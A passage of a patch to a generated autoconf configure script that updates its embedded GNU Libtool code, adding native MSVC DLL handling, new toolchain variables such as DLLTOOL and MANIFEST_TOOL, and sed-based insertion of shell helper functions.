++ # built for inclusion in a dll (and should export symbols for example).
++ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -14395,7 +15150,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ lt_prog_compiler_pic_CXX='-KPIC'
+ lt_prog_compiler_static_CXX='-Bstatic'
+@@ -14460,10 +15215,17 @@ case $host_os in
+ lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
+-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
++$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
++lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -14521,6 +15283,8 @@ fi
+
+
+
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -14698,6 +15462,7 @@ fi
+ $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
+
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+ case $host_os in
+ aix[4-9]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -14712,15 +15477,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ ;;
+ pw32*)
+ export_symbols_cmds_CXX="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
++ ;;
++ esac
++ ;;
+ *)
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
+ $as_echo "$ld_shlibs_CXX" >&6; }
+@@ -14983,8 +15753,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -15016,13 +15787,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -15586,6 +16415,7 @@ fi
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -17738,13 +18568,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -17759,14 +18596,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -17799,12 +18639,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -17843,8 +18683,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
+ compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
+ GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
+ archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -17871,12 +18711,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
+ hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
++postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
+ hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
+ compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -17914,8 +18754,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -17925,12 +18770,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -17946,7 +18793,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -17968,8 +18814,8 @@ LD_CXX \
+ reload_flag_CXX \
+ compiler_CXX \
+ lt_prog_compiler_no_builtin_flag_CXX \
+-lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_pic_CXX \
++lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_static_CXX \
+ lt_cv_prog_compiler_c_o_CXX \
+ export_dynamic_flag_spec_CXX \
+@@ -17981,7 +18827,6 @@ no_undefined_flag_CXX \
+ hardcode_libdir_flag_spec_CXX \
+ hardcode_libdir_flag_spec_ld_CXX \
+ hardcode_libdir_separator_CXX \
+-fix_srcfile_path_CXX \
+ exclude_expsyms_CXX \
+ include_expsyms_CXX \
+ file_list_spec_CXX \
+@@ -18015,6 +18860,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -18029,7 +18875,8 @@ archive_expsym_cmds_CXX \
+ module_cmds_CXX \
+ module_expsym_cmds_CXX \
+ export_symbols_cmds_CXX \
+-prelink_cmds_CXX; do
++prelink_cmds_CXX \
++postlink_cmds_CXX; do
+ case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
+ *[\\\\\\\`\\"\\\$]*)
+ eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+@@ -18786,7 +19633,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -18889,19 +19737,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -18931,6 +19802,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -18940,6 +19817,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -19054,12 +19934,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -19146,9 +20026,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -19164,6 +20041,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -19210,210 +20090,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
